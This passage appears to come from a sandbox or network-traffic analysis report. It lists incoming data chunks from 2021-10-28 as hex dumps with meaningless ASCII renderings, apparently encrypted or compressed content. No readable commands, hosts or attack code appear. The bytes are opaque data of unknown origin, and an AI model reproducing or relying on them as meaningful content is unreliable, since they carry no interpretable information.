29 16 52 07 4e 39 45 db c0 0b 5e 65 1a 9a 0d e1 01 86 b9 d1 8d 75 43 f0 9f f2 ce aa 76 be de 6f 43 05 94 88 58 92 a7 cb b9 4f 76 30 fa 7b 78 cd bb 9b bf 2f 9a 27 d1 c0 37 ba 28 ae b8 47 08 0c 79 e4 5c Data Ascii: Mq"hz:J^-de;\ussh(TSk{0~6)1+?^Ks4B vj*ps81Ve,F$HcQJUqWC}I_fnK'HLgkj'>WvWhc+2)RN9E^euCvoCXOv0{x/'7(Gy\
2021-10-28 20:43:28 UTC	159	IN	Data Raw: 28 52 ee 07 29 71 4d 2c 4c 2a 8e 93 9a ca b8 38 2b 55 e3 4b 15 9a 99 4a 27 29 2a 32 79 67 a5 f3 b8 7e 82 0a 89 a9 ac a2 0f 45 33 df 32 22 13 6e ea a2 db cc cc fc f3 08 4a e2 0c ef 85 d8 9a 6c 4e a5 d9 a5 c5 c8 f6 fa ed f8 23 c9 31 9c 92 8e 78 37 b5 59 81 ab 4f 9b cd 35 04 22 48 14 27 50 ea b1 0c a6 c8 37 13 5e 75 57 40 1d 91 45 b5 cd 1a d6 ea 1d c7 56 af de a6 a7 cf 64 5d 46 a5 6b 00 ed c1 8f 0a 85 09 31 36 48 a4 bf 0d 89 2a d2 a6 eb 8c 39 b9 05 17 6c 04 1d 6b a9 93 70 d0 f4 7d 1a ee 74 61 a2 28 d1 81 8d f9 d7 d2 68 90 0c 91 49 2d 58 08 c0 df be c8 68 6a 72 66 14 ea 9d e6 6f 2d 4f c0 e0 ff 91 97 62 a8 d0 07 ba e3 26 6e 87 40 2f f2 4b c8 42 6c 61 df 7a 2a bf a5 ea 47 29 e5 6e 0b 3d 93 de 7e 78 77 43 67 a0 c7 55 8e 26 ae f1 de 01 d2 d9 34 74 ef a3 78 07 8f Data Ascii: (R)qM,L8+UKJ')2yg~E32"nJlN#1x7YO5"H'P7^uW@EVd]Fk16H9lkp}ta(hI-Xhjrfo-Ob&n@/KBlazG)n=~xwCgU&4tx
2021-10-28 20:43:28 UTC	164	IN	Data Raw: 64 5e 65 c8 fb f4 c4 d3 e4 b7 7e aa fb 12 32 44 5e 61 c1 1a 98 64 53 8c fe d5 0d 1a 4a ca a9 20 0f db f4 94 28 da a5 45 25 62 e1 fc 24 31 92 71 a0 3d bd b4 c7 f8 28 17 76 12 11 6b b0 ea b1 ec ca c6 a6 bc e4 9a d5 b8 76 15 35 e0 c3 9b 71 1a 26 9b f6 82 f8 f6 94 94 b3 76 d5 e8 ab 36 f3 86 86 4c 41 a2 93 d6 dd 0d c5 21 00 00 a3 c0 b7 52 ea 52 ee 30 2b a0 d7 68 4b 7b 9c e3 4c 04 b8 6c a8 17 66 61 c4 39 14 a3 fe de 19 8f 3c af c8 66 70 67 e4 0d d6 53 12 f0 01 00 13 4d 6f 01 8a c6 98 b7 3c 98 e5 ed 1e 63 a1 e4 5f 6d 12 17 8d 3a 66 25 ed a5 2d 98 8b a5 b6 a7 46 9e d4 de c6 e9 a2 e1 08 47 b4 1e 3b 12 17 e7 37 ec fa c4 60 fd 54 90 a2 b7 9b 9d 40 42 16 83 42 e8 63 2b d6 0d ad af f2 a2 38 52 84 c8 49 5f 99 c8 e2 33 cd c1 2e 1b 0f 49 4c e7 fc 40 cf 73 23 05 a9 7d ce Data Ascii: d^e~2D^adSJ (E%b$1q=(vkv5q&v6LA!RR0+hK{Llfa9<fpgSMo<c_m:f%-FG;7`T@BBc+8RI_3.IL@s#}
2021-10-28 20:43:28 UTC	168	IN	Data Raw: 85 ff 29 d1 17 d1 b1 00 06 22 32 c0 b1 55 45 40 bb 8e 33 a2 81 34 a6 be 03 33 08 aa 0d 18 88 8e d9 15 6f c8 94 57 03 43 c1 71 90 fa d7 2b 3a ff fe 1d c5 f9 29 51 85 2a 17 c8 a5 0b f1 a1 6e 07 cc 0a 31 a8 51 cc 6f 48 8c e9 8d bd a8 30 23 92 48 66 fa b2 b6 94 0c 83 a5 01 62 df d5 4b c8 54 fc 3a 01 ee 6d fc fe e5 b6 4a 55 c3 e3 d6 d6 ba b8 d6 13 8e 9a b6 77 4a 59 85 3d e1 2d b0 88 fd d9 0d 41 30 a1 a5 34 6a 15 07 59 33 d3 6c 46 d1 cb ec 90 ed 6b ff b0 cd da 18 95 ee 2d 74 fb 30 e6 b4 e2 5e 13 5e 7b 74 50 c3 04 ab 92 ff 68 09 9f 77 53 ab 8e 95 30 de ba 88 69 fa f4 1f a1 b3 48 c2 84 22 f6 12 74 d0 48 2b 76 8f 49 56 f1 9b 31 fa 7a c3 94 8e a1 90 d3 e7 57 d8 30 e5 aa fe ca 8e 0f 0d 22 11 43 d6 2c ec f2 1e 33 2e 36 9d 46 4d 07 91 ea f1 7e 13 df eb 0c 12 5d 79 7b Data Ascii: )"2UE@343oWCq+:)Q*n1QoH0#HfbKT:mJUwJY=-A04jY3lFk-t0^^{tPhwS0iH"tH+vIV1zW0"C,3.6FM~]y{
2021-10-28 20:43:28 UTC	172	IN	Data Raw: 7b 28 b5 05 86 7a b5 53 b9 48 33 45 c4 84 8d 78 00 06 80 a5 6f 90 85 fb f5 7c f1 38 22 0e c8 17 01 0c f6 04 34 c2 55 37 88 ee c1 be 44 39 16 f8 f1 42 eb fc 00 5b 33 6e 30 56 69 1a 15 e5 fe e0 74 72 00 ea 52 db b1 9b 94 a1 45 eb e7 63 e9 27 12 12 4d 47 52 1a 6c b0 c6 e7 02 08 dc f3 f3 a5 28 76 3e dd 28 05 32 a3 2c 38 9f 3d eb 05 1d 57 23 8f 0a 28 8c 08 cc 27 ca 71 55 c8 ac 76 77 6b 5a 63 17 e4 a0 d0 75 2f 74 88 7f 8f 54 6b 9d 09 b9 84 99 59 2d 34 c0 e0 77 f8 87 93 0f 94 65 cc b5 86 5e 73 1a 92 16 0d 0d 94 91 e3 d0 2c c3 ac b8 8c 6b 59 18 b6 5b 56 a9 a1 37 ff 37 fb 73 62 1b 84 a9 fb fe 4c 9b 4d e0 83 57 b0 78 e5 2b 77 7a d0 72 1f 34 90 3c ee d6 fe b6 8b 9a 42 da 8f ee f2 93 32 b4 cd 83 7a 6a d2 14 49 60 1b b5 22 46 e7 3a 6b 7e e5 3a d0 21 29 1b a8 82 4c 18 Data Ascii: {(zSH3Exo\|8"4U7D9B[3n0VitrREc'MGRl(v>(2,8=W#('qUvwkZcu/tTkY-4we^s,kY[V77sbLMWx+wzr4<B2zjI`"F:k~:!)L
2021-10-28 20:43:28 UTC	176	IN	Data Raw: d2 48 35 c7 a1 26 40 6b 27 5b c3 7f 68 2e 07 4d b7 82 4b a3 c0 1d bb 82 49 6c d9 8f 3a 16 aa 98 24 53 78 26 04 d8 e7 06 ab ec d6 40 0f d7 36 80 ca e2 fb 06 19 ec 5a 74 72 3c 7a 17 1c 7f 2a ff 16 32 54 70 2d c5 b1 fd d5 f7 bf 68 be a4 da ac 1f 7a b2 74 1a 7e 4d 2e c9 77 36 9f 3a 1b 68 31 96 ad 6e b9 ea 80 0c b9 2e 52 fb f7 94 ef 57 51 aa 4f 6d d8 b5 59 9b 57 17 25 87 e6 99 65 1b 05 10 45 20 b4 c9 25 17 85 c1 e1 de a2 37 97 66 47 1c 82 f0 56 3b e8 12 9a 7a 14 6b 33 21 ac 9b 74 b4 ae 0c 23 45 83 14 b4 e5 0c 20 65 c0 44 45 2f 8c 07 59 23 13 38 c7 60 34 d3 7c 47 aa 9d de b7 c3 b8 18 93 2d ba 2c bd e5 ff ee d5 0e 93 cc f0 ea ed 68 17 1e a5 8a 5a 99 7f f5 35 be 6c 04 97 62 62 ee 85 d4 40 f5 81 93 16 0d 7f 7c 1a 03 0b ed 51 2d 8b 44 9c 5a 71 b5 2c 35 a0 d1 bf 67 Data Ascii: H5&@k'[h.MKIl:$Sx&@6Ztr<z*2Tp-hzt~M.w6:h1n.RWQOmYW%eE %7fGV;zk3!t#E eDE/Y#8`4\|G-,hZ5lbb@\|Q-DZq,5g
2021-10-28 20:43:28 UTC	180	IN	Data Raw: 57 46 5c 8a a1 b0 2b 23 04 7d 7d 16 9c e5 7d fd 87 4d 2d d8 bc 13 6e b3 44 a2 e5 42 4e 87 b2 ba 2b f4 18 d5 8d c0 c1 ae 8a ff de 22 09 c7 9d 8a 93 a7 bd c2 7b d8 a5 a7 66 42 28 43 8d af af b8 b8 28 8d bb a8 da 18 1c 64 4a 54 38 84 50 92 fd 52 44 7d 60 b8 07 06 24 98 d1 d9 a8 e7 83 e7 38 f7 ea db 93 93 cc 2b 5a d6 fe eb ee 64 96 a2 bb 65 90 99 7b a5 e0 bd a6 78 c6 ba 83 fc 72 d4 e7 f0 1c f2 f1 ea 03 5d c7 ab d1 f9 34 c6 7a 77 35 c2 07 7e 43 29 26 9a df 86 a6 b4 f0 9d d2 53 83 a5 32 b3 47 7d ff b1 31 12 7b 85 1c 21 11 de dc ae 3e 19 68 15 eb a8 03 25 16 34 e7 11 8d b5 b1 bd 2b 93 be 79 3d a8 5e 85 35 09 8b 78 2a 54 ed 99 ea 22 8b 2e 63 cd 09 85 82 07 9e 1f 1e b6 75 b7 7d e4 07 e4 5a 9e cf b1 fc ba 0b 25 b9 78 59 9d d7 fa 88 47 f2 fa ae 38 4b 61 14 30 11 9f Data Ascii: WF\+#}}}M-nDBN+"{fB(C(dJT8PRD}`$8+Zde{xr]4zw5~C)&S2G}1{!>h%4+y=^5x*T".cu}Z%xYG8Ka0
2021-10-28 20:43:28 UTC	184	IN	Data Raw: 4c 4a 30 66 5a 35 68 d4 59 69 86 7a f5 81 09 c6 81 83 de f6 df 59 87 1a 58 81 d1 35 0f e2 46 9f 71 22 ac 0f a7 d0 bf 42 b8 ae be 48 be 54 a3 20 29 51 62 8f e6 41 3f c0 10 c3 5e 2f b3 01 0a 89 0c c3 70 4d 16 24 f0 c1 f7 ad 2c df 37 77 8b c2 a8 e9 26 ad 62 22 c9 fd 98 5b 43 ec 4a fe 8e 7e 96 f4 3d 42 9a 47 f7 ed 88 7b ff 96 ab c6 dc 66 f5 51 27 3e 27 1e b9 a5 04 5f 5a 7b 9f 9c ca fa 01 fd 20 49 c4 e2 f4 f4 2b 72 1b 0d 3e 23 d1 30 93 da bf 97 8b 46 d1 d2 6a 18 c4 d9 ee 34 3d 79 f5 c3 86 00 1a 12 c1 1a 66 52 c5 34 10 0c 61 91 0c 53 3f 6a b5 94 fc b3 c3 eb 49 81 29 c2 f2 10 0c 9d 50 ba 6e 6e c0 10 80 37 36 bf 47 31 34 cc 9f 2b 9b 32 1a 7d f5 e0 81 c6 9f 28 e0 fb 62 c9 0a 9b 54 c8 71 c8 81 c5 31 ba 02 e7 95 d9 a3 59 aa f0 ee cd 6f 22 74 4b 3d 98 9d d6 e3 a9 08 Data Ascii: LJ0fZ5hYizYX5Fq"BHT )QbA?^/pM$,7w&b"[CJ~=BG{fQ'>'_Z{ I+r>#0Fj4=yfR4aS?jI)Pnn76G14+2}(bTq1Yo"tK=
2021-10-28 20:43:28 UTC	188	IN	Data Raw: d3 7b e0 e2 de ff 34 76 54 5f 98 72 bd ef dd 62 5e 77 e4 9c b2 e9 b5 bb 77 dc f0 a7 44 5f e3 43 cc f2 dc 55 ea 07 49 d7 e1 e1 c0 04 5b 13 6c 2e 6f 08 a0 34 85 2c 0c 84 50 d5 38 dd fa 6e ec 3d 20 3e 7d 49 6e 08 66 96 60 85 82 86 e7 5e 4f 6f 4f b5 94 d8 b9 c8 95 75 a0 17 5c 54 5e 56 f8 61 28 be 4a 08 c2 8d cb 78 a3 8a b8 0f 8d f7 85 28 ea 29 f6 06 cf a9 e3 20 94 cf 6a a2 74 d2 a8 56 31 ae 37 d7 bc 2f 40 75 95 c1 96 5f 84 44 99 94 42 ea 75 63 7b e2 da e7 06 f2 47 85 77 7e 42 1f 28 69 7b d0 42 d2 57 c7 09 85 d5 1d 13 69 4f 6d 4d 82 d5 82 93 7e 4d 96 44 85 48 c5 14 c5 f2 1e 2e 80 7d 8e 36 2d ba b7 22 6d 36 79 31 24 84 55 e0 b7 4c bc 4e 8e ee c5 64 8a 96 21 d2 d7 22 00 0b 21 21 4f d6 f7 aa 54 2c 89 75 df 06 df 51 ae ac 28 9a 55 d5 ce f4 b9 8e e1 93 f9 1a 12 b2 Data Ascii: {4vT_rb^wwD_CUI[l.o4,P8n= >}Inf`^OoOu\T^Va(Jx() jtV17/@u_DBuc{Gw~B(i{BWiOmM~MDH.}6-"m6y1$ULNd!"!!OT,uQ(U
2021-10-28 20:43:28 UTC	191	IN	Data Raw: 30 99 77 a4 53 de 47 67 c3 53 5e 67 d3 04 04 f8 e3 4f 88 6a d4 07 b4 12 f5 c9 c9 f9 55 dc 2f 8f 1a 91 a5 09 1f cc f2 30 59 26 c9 14 f3 ab 21 e8 6b d1 f7 0e 43 47 ed 8d 6a 15 2e 60 61 8f 3a f8 46 8f 3c b0 ab af 7e 62 b7 6e 3c 95 d0 5b 76 c3 91 74 01 0b c9 1a 0c fa 85 0c 84 07 df 40 48 fb 51 f8 74 ee 11 31 1b 50 8b 13 2a eb fe fe c8 88 1a 1b 35 d6 f6 6f e3 fa 6b 4a 6c 34 17 c1 8c 48 74 e8 f4 87 77 ad eb 86 73 d4 f5 e3 dd f2 48 17 2c b2 b8 4f ce f8 54 c6 ef 9e d6 aa 31 7e 60 ac e4 29 a5 3b 68 98 27 56 d5 0d fd 61 91 2e 3d 43 d4 10 5f e1 dd 0d ac f6 ca f2 64 89 42 f7 6b f5 64 4e 2e ca 4f 4d 2d 11 50 a9 2b 6c 50 c1 ee 66 da 1f d7 87 d6 8b 87 12 dc e2 70 77 84 8a 09 b2 e4 e7 ee 63 89 53 96 2c 5f 0b 75 eb f3 4d 84 2e 27 9e c0 5b 03 58 ad 45 2b 24 fa a5 b6 d8 02 Data Ascii: 0wSGgS^gOjU/0Y&!kCGj.`a:F<~bn<[vt@HQt1P*5okJl4HtwsH,OT1~`);h'Va.=C_dBkdN.OM-P+lPfpwcS,_uM.'[XE+$
2021-10-28 20:43:28 UTC	196	IN	Data Raw: 56 b6 16 aa ad 4f b2 39 aa b0 2d cd 3e 8a 07 c5 84 50 4c d0 24 e2 8f 73 ae ef 52 e3 04 57 e2 79 c8 9b a4 14 c9 fe 17 24 75 7c b2 32 16 0c 6c bf ed 4e 10 2f 29 68 eb db e8 c9 04 ff 67 cd 16 61 6f 2e 31 35 a2 ad 2a 72 8e 4a df 7d d0 2a 57 9d be 5f 4c 90 33 2b e7 7c 95 60 cf 5d ac 4f 74 53 72 b3 3e 27 dc 95 c9 f8 9c d4 4b 93 44 1f 5c e5 0d f1 31 8a f6 df 24 56 0c d0 7f c4 e0 0d e4 e8 97 20 95 82 0d 29 59 56 84 96 43 7a a1 b8 c9 00 57 ae 7e db 84 eb 4c d8 b3 02 ca 38 46 44 05 47 ae e1 db 37 46 4c a1 ac 07 be 67 8a e6 48 e7 22 83 84 cf 1d be aa 01 8a 38 b3 75 eb 20 76 85 a6 86 dc 11 60 70 5e 8f 8a da fd 46 6d 04 9e fb 1b fc fe df 0e be be 97 ce 02 ad a5 74 1f 45 72 f8 19 09 e2 93 31 b3 f8 d2 60 b4 25 1d dd 21 18 66 58 fc 3f 2e 89 de 4a 08 59 05 42 bc 6d ef e5 Data Ascii: VO9->PL$sRWy$u\|2lN/)hgao.15rJ}W_L3+\|`]OtSr>'KD\1$V )YVCzW~L8FDG7FLgH"8u v`p^FmtEr1`%!fX?.JYBm
2021-10-28 20:43:28 UTC	200	IN	Data Raw: 42 e8 fd 1d 02 fa 60 fc fa bc 8d fc ec d8 fc 41 09 98 d3 eb 5e a1 12 5b 59 68 b0 29 85 39 46 1d b6 7a 51 a5 7d 58 e7 c4 a1 97 ec b0 a0 f9 0d 49 5b b8 20 73 06 33 e3 3e ed 71 b3 2a a6 f4 cb ca bc ab da 4c 85 59 1d 92 2a 55 45 3a 34 19 e8 e6 2c 6a b9 67 8a 48 ec 41 e7 41 22 ca ad 14 fe 62 1d 30 80 78 ef 38 de 40 05 25 59 72 d8 50 ca a8 f8 cf 4e 38 00 2d 02 90 ad 5c f2 e0 85 42 d7 67 86 82 54 5c 2a ac f0 6e 61 ec 23 f1 16 4c c9 a9 4b a0 0f ee a0 e2 13 bd 7b ac f0 23 23 11 15 1c 13 47 5f 78 1a 0b 31 72 e1 5c 9a 4c d3 9d 9f c5 98 ae ea 2c 34 78 1e e9 2f 65 71 17 66 bd 59 66 41 0a ab 84 aa 42 c6 52 5f 81 51 31 9d aa f8 66 ae 91 ee 2a 92 5a f1 6b 51 74 4f d8 fa 85 51 cf 4b 72 16 31 09 de b9 2f 80 4a a4 d5 69 39 a4 e2 1e d9 f1 4c b2 45 1c 1a 50 a8 a7 31 b5 7c ee Data Ascii: B`A^[Yh)9FzQ}XI[ s3>qLYUE:4,jgHAA"b0x8@%YrPN8-\BgT\na#LK{##G_x1r\L,4x/eqfYfABR_Q1fZkQtOQKr1/Ji9LEP1\|
2021-10-28 20:43:28 UTC	204	IN	Data Raw: 83 fe 53 16 e8 a3 f9 11 53 dd dd 5e db bd 10 f5 39 05 2c 65 e2 28 3a 29 73 fd f2 40 4a 73 dc 19 bc ed 8c d7 24 f1 7d 51 d7 f6 d4 c0 b0 9a f7 92 f6 6a 34 8d 3c 99 0a bb 5e 81 47 ee 3b ff 25 ee 25 91 e1 e2 d8 54 9f d8 ef b3 75 cc fa 5d 3e f6 26 5a 01 3d e3 28 87 5b 0d 1d 9b 2a 61 e9 c1 8d 5c 58 c1 8c 50 32 13 9d ff d4 b5 0a d7 d1 26 d1 24 3d af 25 14 9d de b7 82 89 56 da f2 21 8e 6d fe 98 b3 e5 7c 41 71 0a 10 7f 44 46 1d 2f c8 fb 71 ea df 94 b9 7f f3 6f 98 ae 63 2f e4 0c 41 37 4f 36 94 67 ba 19 9a a2 2a 5f dd 80 15 46 11 0e 78 8f 73 32 33 9c 17 fd 22 72 d3 42 6f 0c b2 42 e0 f2 36 8c 4d b6 5f 96 18 d9 ef 82 6d 61 9d 6f 2e 90 c5 c1 b2 f7 83 9b 22 02 1d 86 54 bd fe 38 52 aa 30 41 21 fd b5 35 49 83 7d e8 08 cf 4a 2d b9 d8 83 db 8f dd 53 03 85 e9 2b ae 2c 1a df Data Ascii: SS^9,e(:)s@Js$}Qj4<^G;%%Tu]>&Z=([a\XP2&$=%V!m\|AqDF/qoc/A7O6g_Fxs23"rBoB6M_mao."T8R0A!5I}J-S+,
2021-10-28 20:43:28 UTC	208	IN	Data Raw: a9 1f ef ba ff 61 95 ab 41 34 2e 82 c6 e6 42 d6 b5 ba bf 50 1d 31 04 c8 59 b5 9b 26 6f 0f c6 96 4e cd d5 ad f2 6b 81 98 0d 93 20 2e 10 f8 cf 34 8b 4c 15 bb f4 ce 3c 0a 9a 0a 13 f2 b2 ed f5 11 5d c4 45 67 a1 52 f9 fa 47 85 e0 38 81 e5 b8 0b 00 42 23 05 fb 3e f9 57 cd 58 3f f8 7c 97 8e de 58 07 36 0c 2a 09 1d f3 1b b4 5e 72 74 b9 e8 0a b5 0d df 83 cc ad b5 af 95 7b 08 64 4e 85 42 3f 29 39 73 db 79 ee c8 39 c6 dd 12 a0 7f 21 46 5e 8f 1a aa 8c ba c2 c5 7c 09 5b b7 9e 6d 06 f1 3b c8 ac 81 1d 50 ba fc 7f 9e b2 44 6e dd df 8e ef 9b 45 9f c7 90 6d de 9d 7d a4 52 f8 79 5a 8a 65 81 08 cf e1 a3 9f 61 8b d1 30 da 9f a5 32 ab c2 bf 35 18 7b 77 16 e3 2d 91 68 0c 8c 07 fa 04 2c ed 4d 75 d5 58 10 4a 83 49 de 78 c7 d8 fb c8 71 f7 bf ab a6 3b 6e 04 29 fc 5d 4a ae 78 05 20 Data Ascii: aA4.BP1Y&oNk .4L<]EgRG8B#>WX?\|X6*^rt{dNB?)9sy9!F^\|[m;PDnEm}RyZea025{w-h,MuXJIxq;n)]Jx
2021-10-28 20:43:28 UTC	212	IN	Data Raw: 82 03 64 bb 3d 44 63 37 45 31 d5 00 26 59 16 48 28 ee d0 1f 9e 02 bd 12 49 a0 4f d8 6c 9d bb ea 65 b1 81 48 16 7b 0e e9 c1 6e 6a b7 d9 a3 f9 54 4e 2b b7 a2 2d e1 73 c2 1b 51 61 96 31 3c 95 29 7e 0c 9b 73 4b 16 08 2e c6 5c 1b fc 21 79 e9 54 6d 8b f5 c6 b9 9f 0b 61 94 0b 9d 2b 27 36 a1 58 9f c9 bc 45 3f 77 fc 87 28 49 37 27 7d fb 4b d2 84 f5 8d d2 e4 c9 33 e8 e2 2d e0 9e a0 76 59 69 1b 3d 23 71 1d 72 fd 9c a4 87 ee 7c 09 09 b9 13 fa 48 57 b0 21 d4 89 ea 3a b8 c2 b1 fb 38 be e9 10 58 27 e4 4a e4 e2 e5 cf 20 0e da 02 f1 bf 2c ea 5a 33 67 3c 47 cb a5 f2 c0 e4 b2 28 a8 e3 f5 e5 a7 98 16 5f f5 da 17 33 be d7 bc 7e da 59 e4 ef 37 1e c9 b8 52 f7 4e 96 aa 61 8d 57 9d 4c db 5d b6 c3 a1 0c cc 36 a1 ab 56 73 1f 71 b6 2f 51 51 c2 a5 8b e0 e1 41 5f ee 06 7d 8a cd 26 99 Data Ascii: d=Dc7E1&YH(IOleH{njTN+-sQa1<)~sK.\!yTma+'6XE?w(I7'}K3-vYi=#qr\|HW!:8X'J ,Z3g<G(_3~Y7RNaWL]6Vsq/QQA_}&
2021-10-28 20:43:28 UTC	228	IN	Data Raw: 69 c5 9e 15 7b 96 e3 fd fa c4 3c 55 2f 61 82 15 9b 79 8f 80 37 01 c0 95 71 1f 68 63 dc 53 a2 7e 5b 32 35 f6 73 c9 cf b2 f6 82 2c 2a 16 b4 d9 1f 28 55 f2 d2 98 53 a1 0c a6 e1 66 99 52 7e d7 1d 34 6f 27 b1 70 71 10 41 15 1d 33 2c 37 4b 63 80 36 e8 21 34 3d db 94 4a a6 cf eb 90 e9 c9 d0 00 cd f6 75 0f 94 d9 87 a7 ba d4 72 cd 16 fc 27 cb 32 e7 0e bc 75 12 ef ac 8d 50 1e a6 33 55 37 64 cb c7 bf bd ad 82 63 e4 d6 c4 8a bb 17 5f e7 15 64 3f 9b 39 59 d1 bd 50 35 ba 7c 33 06 d6 67 4b 11 4a d6 60 d2 8c 89 4c 29 f4 2c e4 94 0f df 8b 64 ba 47 a0 38 8c 47 3f 40 5d 3c 50 25 e9 ac 17 03 64 88 18 e1 f6 8f 1f ce 0b c9 7f ab 98 13 0b 49 c3 0f e5 b7 d7 50 1c 0e e0 f6 e3 ee a4 e9 d1 e8 c6 ee 84 f5 75 32 51 6a 81 21 b4 63 12 b8 07 43 bb ba 14 d3 e6 4e e6 59 26 96 55 c1 df 94 Data Ascii: i{<U/ay7qhcS~[25s,*(USfR~4o'pqA3,7Kc6!4=Jur'2uP3U7dc_d?9YP5\|3gKJ`L),dG8G?@]<P%dIPu2Qj!cCNY&U
2021-10-28 20:43:28 UTC	236	IN	Data Raw: 78 11 71 ff c8 d1 f9 62 73 b3 2d 9f a8 72 b2 b8 8f eb 51 b9 36 0d a4 79 c3 a3 be 94 bd f8 1d ba a7 c1 3f 43 6d 06 4b 0a 58 14 ad 5f f5 eb 6d a3 78 7a eb 18 03 2b 32 b4 5a ef 5f d7 e1 31 15 f3 77 a4 fe 8e a5 63 15 1d 71 24 65 48 4f 9c 4f b3 af a6 95 12 33 99 ba ea 8d b6 8f cd 96 0d 5e a6 75 98 97 47 0a 93 2f 7a e3 94 0a c9 1a 5a 4e 03 54 9e b3 a4 d7 30 06 6f 0c bb 79 a7 8d 5a 55 d3 69 30 7d f0 b5 d1 b8 11 95 df 5e 1c d2 99 7a 43 ed 1b 97 13 a3 cc d1 1e 11 4c 6f 41 77 fb 08 c0 ab 63 22 fa 2e d6 aa 6f 1a d6 fb 66 cb 0d 3a 56 c0 b1 7f b4 04 2c ca cd ed df 5d df bf 49 12 f3 7a 63 55 4d b5 87 fa e5 f2 e5 d1 f7 55 f7 8b ae cd a6 96 d2 4c 1f e0 9c 5c 6c 34 a8 66 72 64 ea 8b f7 19 44 0e cb 9e e9 f1 25 c6 69 80 57 2c e9 a2 51 79 1c 3c 1e 9a c8 27 7f 0f db 73 1a 7b Data Ascii: xqbs-rQ6y?CmKX_mxz+2Z_1wcq$eHOO3^uG/zZNT0oyZUi0}^zCLoAwc".of:V,]IzcUMUL\l4frdD%iW,Qy<'s{
2021-10-28 20:43:28 UTC	252	IN	Data Raw: ac 74 78 1e 11 70 7f 4c 3b b0 5d fe 46 93 61 5d 08 8a 9f 10 c4 e9 b9 70 f6 c3 e1 0f f1 84 e5 a6 b7 cb d2 c2 dc 7d c3 03 a7 b6 43 bf 4f 11 cc 7e 7e 4d 22 5c b8 36 31 a7 ff 4e 42 a5 34 c9 75 7e 37 11 ae 72 95 b4 d5 aa 99 85 a1 76 80 da b7 80 2a c0 9e 01 44 a0 d8 6f 9f d0 c0 d8 26 68 57 03 84 36 d1 1b 11 f6 f1 58 1a 28 5c f3 8b d0 31 cd 0f 1e 23 75 32 9e 0b 5a 39 42 45 44 e5 a4 43 0b 62 93 0f ac 41 6c ed 07 43 db 55 1b d8 7c 52 57 fd 22 cc 96 5d 07 b3 7e 53 32 0e d1 1b 4e df c9 37 cb 07 7e 0d e0 6d 3e ea 76 7b e0 7b bd 89 0c 82 82 cd 2d ae ff 1b 66 01 5d 9d c7 fa 1e 3a ae 86 25 a4 80 3c 95 09 b7 5c 2c 80 cd cd 6e 26 b8 c2 fc be 9f 90 be fe e9 fb e1 68 3f 34 3f 08 96 6d 9a 79 a5 b2 22 b6 39 12 8f a1 4f d8 54 f3 ed e8 4c ab 91 40 af b8 f9 94 90 c8 27 2f 5d ca Data Ascii: txpL;]Fa]p}CO~~M"\61NB4u~7rv*Do&hW6X(\1#u2Z9BEDCbAlCU\|RW"]~S2N7~m>v{{-f]:%<\,n&h?4?my"9OTL@'/]
2021-10-28 20:43:28 UTC	268	IN	Data Raw: 5d 97 76 0a e8 22 3b d6 07 fd 9f 27 8f ab dc 31 db 1f 42 54 e4 d1 9a aa ef 0a 0b b0 11 da 22 3f cd af 86 3d 1c 57 a8 a0 81 54 b8 bc d3 3d 46 e9 11 20 72 9b 1f 2f a3 cb f8 c9 a6 63 5f 89 0f cc 3e b4 3d 45 b3 77 da 8c b3 bd f9 c5 37 ac 02 1a fa 6a 67 6d 68 f1 41 c3 90 38 e7 e7 b3 a1 fa 05 94 d8 aa 19 49 06 2b a6 17 be b3 19 55 c5 c2 6d a4 a8 aa cc 73 90 36 e0 75 46 33 e3 86 ba 01 74 10 06 77 db c6 78 71 de 12 19 eb 44 1c 69 b1 a0 e0 40 14 7b 08 b1 a1 df b6 4e 8a 07 44 d7 bb d8 60 f6 bb 8e 79 a9 c8 48 a2 0b 2c d8 b4 78 28 96 57 21 8e ba 43 8e d3 df dd 36 3a e9 0d d1 93 b2 af e5 6e 1f 6e da 6a ec 0c 6f 35 68 9b bf d8 7f f4 22 d2 d0 66 d8 93 59 a9 80 03 98 54 12 00 79 77 4e 45 29 58 1c 89 82 92 1e 49 90 16 87 d9 39 eb b0 f1 b4 c6 c1 dd 66 42 15 3b 15 c8 54 87 Data Ascii: ]v";'1BT"?=WT=F r/c_>=Ew7jgmhA8I+Ums6uF3twxqDi@{ND`yH,x(W!C6:nnjo5h"fYTywNE)XI9fB;T
2021-10-28 20:43:28 UTC	284	IN	Data Raw: fb c0 b2 87 41 a7 9e e5 82 28 62 73 15 9e c7 50 e8 5f 74 5a e2 74 1c 4d 89 f2 e0 f4 57 01 db 38 92 1e 05 05 44 90 f6 3b ff 61 c8 30 8e 6d 7a cf 29 aa df dc 5f d7 63 b2 ff ee 12 06 5a fb e5 b6 6a 31 47 36 4f 3c a9 00 1a ff 8d 62 4f c7 a7 2e 75 65 a6 91 d3 9d 2c 1d 37 4a 72 e0 46 6d 6d 2e 75 5b 95 48 d6 f8 ec f7 02 e1 5a 10 2d 47 f7 42 e6 4e 1b b4 46 59 de 7c 53 d2 d5 70 80 31 db fd c4 40 02 df a7 07 ac e9 77 f9 be d7 0c 35 3e 4d 50 79 db f2 a3 14 53 bf b0 de 70 e5 b3 d3 ba f0 4e e1 5c 1b e5 3d 55 95 b6 1d 48 0c fc a4 1e d2 65 40 93 f4 bc 99 de 33 07 92 42 25 87 4e 8c 16 14 f6 76 ae 59 1d 49 d0 39 c4 1f 58 be 0e 84 f1 40 71 45 c1 e7 0c fa 23 4e da 42 53 c0 ad cf 3e 60 68 91 05 4d d2 12 f7 40 bf ea 22 05 42 4d b5 1a 31 b9 c1 28 6d b4 44 7a 83 58 6f b3 97 b7 Data Ascii: A(bsP_tZtMW8D;a0mz)_cZj1G6O<bO.ue,7JrFmm.u[HZ-GBNFY\|Sp1@w5>MPySpN\=UHe@3B%NvYI9X@qE#NBS>`hM@"BM1(mDzXo
